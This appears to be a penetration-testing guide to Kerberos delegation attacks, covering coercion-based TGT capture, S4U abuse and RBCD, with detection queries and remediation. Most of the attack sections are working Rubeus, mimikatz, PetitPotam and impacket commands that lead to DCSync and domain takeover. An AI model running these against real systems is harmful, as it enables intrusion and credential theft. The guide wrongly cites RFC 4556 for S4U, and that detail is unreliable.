
Kerberos Delegation Attacks: Unconstrained, Constrained, and RBCD
Kerberos delegation attack techniques including unconstrained delegation TGT capture, S4U2Self abuse, and resource-based constrained delegation.
Introduction
Kerberos delegation exists so a service can authenticate to a downstream resource on behalf of a user — a web frontend authenticating to a backend database using the visiting user's identity. The three delegation types (unconstrained, constrained, and resource-based constrained) each model this trust differently, and each introduces a distinct attack surface that doesn't require cracking passwords or exploiting CVEs.
Unconstrained delegation is the oldest and most dangerous variant. A host configured with TrustedForDelegation=True receives a copy of every authenticating user's TGT alongside the normal service ticket. Any account that authenticates to that host — including domain controllers responding to coercion — hands over a TGT the attacker can reuse indefinitely. Constrained delegation restricts which services a host can delegate to, but the S4U2Self extension lets any constrained-delegation host obtain a forwardable TGS for any domain user to itself, regardless of that user's delegation settings. Resource-based constrained delegation (RBCD) flips the trust model: the target resource controls who may delegate to it, and any principal with WRITE access to a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute can configure arbitrary delegation.
BloodHound surfaces all three delegation types through built-in nodes and edges. TrustedForDelegation computers appear via the Unconstrained property; msDS-AllowedToDelegateTo is indexed on computer and user objects; and RBCD edges (AllowedToAct) are generated from msDS-AllowedToActOnBehalfOfOtherIdentity. Before touching any of the techniques below, enumerate delegation with BloodHound or PowerView — coercion into an unconstrained host you don't own is detectable and loud.
Authorization Required
These techniques involve credential theft, coercion of domain controller authentication, and lateral movement. Use only in authorized penetration tests or red team engagements with explicit written scope. Coercion techniques (Printer Bug, PetitPotam) generate domain controller event logs immediately.
Impact
- Capture domain controller TGT via coercion into unconstrained delegation host → full domain compromise via DCSync
- Impersonate any domain user to constrained-delegation target services without their credentials
- Escalate to local admin on any computer where you hold WRITE on
msDS-AllowedToActOnBehalfOfOtherIdentity - Persist via machine account creation combined with RBCD — survives password resets of compromised accounts
- Cross-domain attacks when delegation trusts span forest boundaries
- Silver ticket equivalent lateral movement with S4U2Self when NTLM hash of service account is available
Technical Details
Unconstrained Delegation
When a computer has TrustedForDelegation=True, the KDC embeds a copy of the authenticating user's TGT inside the service ticket (AP_REQ) it issues. The host extracts and caches this TGT in the LSA. Every account that touches the host — users, computer accounts, domain controllers responding to coercion — deposits a usable TGT.
The practical exploit path coerces the domain controller's computer account into authenticating to the unconstrained host. MS-RPRN (Printer Bug) and MS-EFSR (PetitPotam) both trigger domain controller authentication with the DC's machine account, which has replication privileges. Capturing that TGT lets you DCSync without needing DA credentials.
Constrained Delegation and S4U2
Constrained delegation restricts a service account or computer to delegating to a defined list of SPNs stored in msDS-AllowedToDelegateTo. The S4U extensions (RFC 4556) make this work:
- S4U2Self: The service requests a TGS for any user to itself. The resulting ticket is marked forwardable if the service has constrained delegation configured.
- S4U2Proxy: The service presents the forwardable TGS from S4U2Self to obtain a TGS for the target SPN as that user.
The chain lets a compromised service account impersonate the domain administrator to any SPN in its msDS-AllowedToDelegateTo list. You only need the service account's NTLM hash — no user interaction required.
Resource-Based Constrained Delegation (RBCD)
RBCD (introduced in Windows Server 2012) moves trust configuration to the target resource. The target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute stores a security descriptor listing which principals may delegate to it. A principal with GenericWrite, GenericAll, WriteProperty, or WriteDacl on the target computer object can populate this attribute.
The attack creates a controlled machine account (default MachineAccountQuota allows domain users to create up to 10), sets the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity to trust that machine account, then executes S4U2Self+S4U2Proxy to obtain a TGS as domain admin to the target's CIFS SPN. The machine account's password is known because you created it.
Enumerate Delegation Configurations
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name# Unconstrained
Get-DomainComputer -Unconstrained | Select-Object name, dnshostname
# Constrained (accounts and computers)
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
# RBCD — who can delegate to target
Get-DomainComputer TARGETHOST | Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity([adsisearcher]'(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))').FindAll() | ForEach-Object { $_.Properties.dnshostname }Coerce DC Authentication to Unconstrained Host (Printer Bug / PetitPotam)
Run Rubeus in monitor mode on the unconstrained host before triggering coercion:
Rubeus.exe monitor /interval:5 /nowrapTrigger Printer Bug from any authenticated context — the DC machine account authenticates to the specified capture host:
SpoolSample.exe DC01.corp.local UNCONSTRAINED_HOST.corp.localPetitPotam as an unauthenticated alternative (patched on recent DCs but viable on older environments):
python3 PetitPotam.py -u '' -p '' UNCONSTRAINED_HOST DC01.corp.localRubeus captures the DC machine account TGT in base64. Import and use it:
Rubeus.exe ptt /ticket:<base64_ticket>
# Confirm DC$ TGT is in memory
klist
# DCSync with mimikatz
lsadump::dcsync /domain:corp.local /user:krbtgtS4U2Self + S4U2Proxy — Constrained Delegation Abuse
You need the NTLM hash of a service account or computer with msDS-AllowedToDelegateTo populated. Rubeus handles the full S4U chain:
# s4u builds S4U2Self ticket first, then S4U2Proxy to target SPN
Rubeus.exe s4u /user:svc_iis /rc4:aad3b435b51404eeaad3b435b51404ee:NTLMHASH /impersonateuser:Administrator /msdsspn:cifs/webserver.corp.local /pttIf the msds-allowedtodelegateto SPN is for http/webserver but you want CIFS, you can request an alternate SPN using /altservice — the KDC does not validate the service part of the SPN in the S4U2Proxy response:
Rubeus.exe s4u /user:svc_iis /rc4:NTLMHASH /impersonateuser:Administrator /msdsspn:http/webserver.corp.local /altservice:cifs /pttVerify the ticket and access the target:
klist
dir \\webserver.corp.local\c$RBCD — Write msDS-AllowedToActOnBehalfOfOtherIdentity
First confirm you have a write primitive on the target computer object. BloodHound edge GenericWrite or AllowedToAct will show this. Then create a machine account and configure RBCD:
Import-Module Powermad.ps1
New-MachineAccount -MachineAccount ATTACKERPC -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)Set the target computer's RBCD attribute to trust the machine account. Get the machine account's SID first:
Import-Module PowerView.ps1
$AttackerSID = Get-DomainComputer ATTACKERPC | Select-Object -ExpandProperty objectsid
# Build raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($AttackerSID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# Write to target
Get-DomainComputer TARGETHOST | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}Execute S4U2Self + S4U2Proxy using the machine account credentials:
# RC4 hash of the machine account password you set
Rubeus.exe hash /password:P@ssw0rd123! /user:ATTACKERPC$ /domain:corp.local
Rubeus.exe s4u /user:ATTACKERPC$ /rc4:MACHINEACCOUNT_HASH /impersonateuser:Administrator /msdsspn:cifs/TARGETHOST.corp.local /pttAccess the target:
.\PsExec.exe \\TARGETHOST.corp.local cmd.exeCleanup
Remove the RBCD attribute after the engagement:
Get-DomainComputer TARGETHOST | Set-DomainObject -Clear msds-allowedtoactonbehalfofotheridentityRemove the machine account:
Get-ADComputer ATTACKERPC | Remove-ADObject -Recursive -Confirm:$falseAttack Tools
Rubeus is the primary tool for all S4U operations on Windows.
# Run on the unconstrained delegation host, monitor every 5 seconds
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$Rubeus.exe s4u /user:svc_iis$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/webserver.corp.local /ptt# Step 1: Get hash of attacker machine account
Rubeus.exe hash /password:P@ssw0rd123! /user:ATTACKERPC$ /domain:corp.local
# Step 2: S4U chain
Rubeus.exe s4u /user:ATTACKERPC$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/TARGET.corp.local /ptt# After capturing TGT from monitor output
Rubeus.exe ptt /ticket:doIFuj[...]Impacket's getST handles S4U chains from Linux with a known hash or AES key.
# Full S4U2Self + S4U2Proxy chain
python3 getST.py -spn cifs/webserver.corp.local \
-impersonate Administrator \
-dc-ip 10.10.10.1 \
corp.local/svc_iis -hashes :NTLMHASH# After setting msDS-AllowedToActOnBehalfOfOtherIdentity via bloodyAD or ldapmodify
python3 getST.py -spn cifs/TARGET.corp.local \
-impersonate Administrator \
-dc-ip 10.10.10.1 \
corp.local/ATTACKERPC$ -hashes :MACHINEACCOUNT_HASH
# Use the ticket
export KRB5CCNAME=Administrator@cifs_TARGET.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local# After unconstrained delegation TGT capture and import
python3 secretsdump.py -k -no-pass \
-dc-ip 10.10.10.1 corp.local/DC01\$@DC01.corp.local# Using impacket's rbcd helper (requires WRITE on target computer object)
python3 rbcd.py -f ATTACKERPC -t TARGETHOST \
-dc-ip 10.10.10.1 corp.local/lowpriv:Password123# Unconstrained hosts
Get-DomainComputer -Unconstrained -Properties name,operatingsystem,dnshostname
# Constrained accounts with target SPNs
Get-DomainUser -TrustedToAuth | Select samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select name,msds-allowedtodelegateto
# Check if current user has WRITE on a computer object (RBCD precondition)
$TargetACL = Get-DomainObjectAcl -Identity TARGETHOST -ResolveGUIDs
$TargetACL | Where-Object { $_.ActiveDirectoryRights -match 'Write|GenericAll' }// Unconstrained delegation hosts reachable from owned principals
MATCH p=shortestPath((n {owned:true})-[*1..5]->(c:Computer {unconstraineddelegation:true}))
RETURN p
// RBCD edges — who has AllowedToAct on any computer
MATCH p=(n)-[:AllowedToAct]->(c:Computer) RETURN p
// Constrained delegation abuse paths to DA
MATCH p=shortestPath((n)-[r:AllowedToDelegate*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p# Decode msDS-AllowedToActOnBehalfOfOtherIdentity raw bytes
$RawSD = Get-DomainComputer TARGETHOST -Properties msds-allowedtoactonbehalfofotheridentity |
Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawSD, 0
$Descriptor.DiscretionaryAcl | ForEach-Object { ConvertFrom-SID $_.SecurityIdentifier }Detection
Event IDs
| Event ID | Log | Trigger |
|---|---|---|
| 4769 | Security | Kerberos service ticket request — filter for TicketOptions: 0x40810010 (forwardable+renewable) from non-interactive logon types |
| 4624 | Security | Logon Type 3 from machine accounts to unexpected hosts |
| 4662 | Security | Object access on computer objects — write to msDS-AllowedToActOnBehalfOfOtherIdentity (GUID 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79) |
| 4741 | Security | New computer account created — spike in MachineAccountQuota-sourced creations signals RBCD prep |
| 4648 | Security | Explicit credential use — S4U2Self impersonation creates Type 3 logons with no password |
SIEM Queries
index=wineventlog EventCode=4769
| eval TicketOptions=mvindex(split(TicketOptions," "),0)
| where TicketOptions="0x40810010" OR TicketOptions="0x40810000"
| where NOT like(ServiceName, "%$")
| stats count by AccountName, ServiceName, ClientAddress
| where count > 5index=wineventlog EventCode=4662
ObjectType="bf967a86-0de6-11d0-a285-00aa003049e2"
AttributeName="msDS-AllowedToActOnBehalfOfOtherIdentity"
| table _time, SubjectAccountName, ObjectName, AttributeValueindex=wineventlog EventCode=4741
| stats count by SubjectUserName, dc
| where count > 3Behavioral Indicators
- Service tickets with forwardable flag requested by computer accounts during off-hours
SpoolSample/petitpotamnetwork activity: MS-RPRN traffic from non-print-servers, MS-EFSR named pipe\pipe\lsarpcor\pipe\efsrconnections to domain controllers- New computer objects created by non-admin users (MachineAccountQuota abuse) followed immediately by modifications to
msDS-AllowedToActOnBehalfOfOtherIdentityon an existing computer - Rubeus
monitormode creates a persistent Kerberos TGS request stream — anomalous service ticket volume from a single host
Remediation
Unconstrained Delegation:
- Audit
TrustedForDelegation=Truecomputers withGet-DomainComputer -Unconstrained. Every machine on this list is a TGT aggregator. - Remove unconstrained delegation from all computers that don't absolutely require it. Domain controllers are excepted.
- Migrate services to constrained delegation or RBCD.
- Block MS-RPRN on domain controllers: disable the Print Spooler service (
spooler) on all DCs. Verify withGet-Service -ComputerName DC01 -Name spooler. - Apply Microsoft's PetitPotam mitigations (KB5005413) and enable EPA on ADCS web enrollment endpoints.
Constrained Delegation:
- Mark high-value accounts (Domain Admins, EA, service accounts with DA-level access) as
Account is sensitive and cannot be delegated(NOTDELEGflag,ADS_UF_NOT_DELEGATED). - Add privileged accounts to the
Protected Userssecurity group — members cannot be delegated, cannot use RC4, and TGTs expire after 4 hours. - Audit
msDS-AllowedToDelegateTofor overly broad SPN lists, particularly anything delegating tokrbtgtorhost/DC.
RBCD:
- Reduce
MachineAccountQuotafrom the default 10 to 0 at the domain level viams-DS-MachineAccountQuotaon the domain object. Create machine accounts through privileged processes only. - Audit
msDS-AllowedToActOnBehalfOfOtherIdentityon all computer objects quarterly. Should be empty unless intentionally configured. - Review ACLs on computer objects — delegated OU permissions that grant
GenericWriteorWritePropertyto non-admin groups enable RBCD attacks. - Use tiered administration: Tier 0 accounts should have no ACL exposure to Tier 1/2 computer objects.
General:
- Deploy Microsoft Defender for Identity (MDI) — it has built-in detections for Printer Bug coercion, S4U anomalies, and RBCD configuration changes.
- Enable
Audit Kerberos Service Ticket OperationsandAudit Directory Service Accessin your GPO audit policy. - Credential Guard prevents LSASS-based TGT extraction on modern Windows, but Rubeus operates via Kerberos API — Credential Guard does not stop Rubeus monitor mode.
References
MITRE ATT&CK Techniques
- T1558 - Steal or Forge Kerberos Tickets
- T1134 - Access Token Manipulation
- T1087.002 - Account Discovery: Domain Account
Tools Documentation
- Rubeus — GhostPack
- Impacket getST.py
- PowerView — PowerSploit
- Powermad — New-MachineAccount
- SpoolSample — Printer Bug PoC
- PetitPotam
- BloodHound
- bloodyAD — LDAP Write Operations
Next Steps
Kerberoasting Attack and Defense
Kerberoasting attack guide targeting AD service accounts. Extract and crack service tickets offline for privilege escalation and lateral movement.
KrbRelayUp Attack and Defense
KrbRelayUp exploitation guide for relaying Kerberos authentication to LDAP and abusing RBCD for local privilege escalation in Active Directory environments.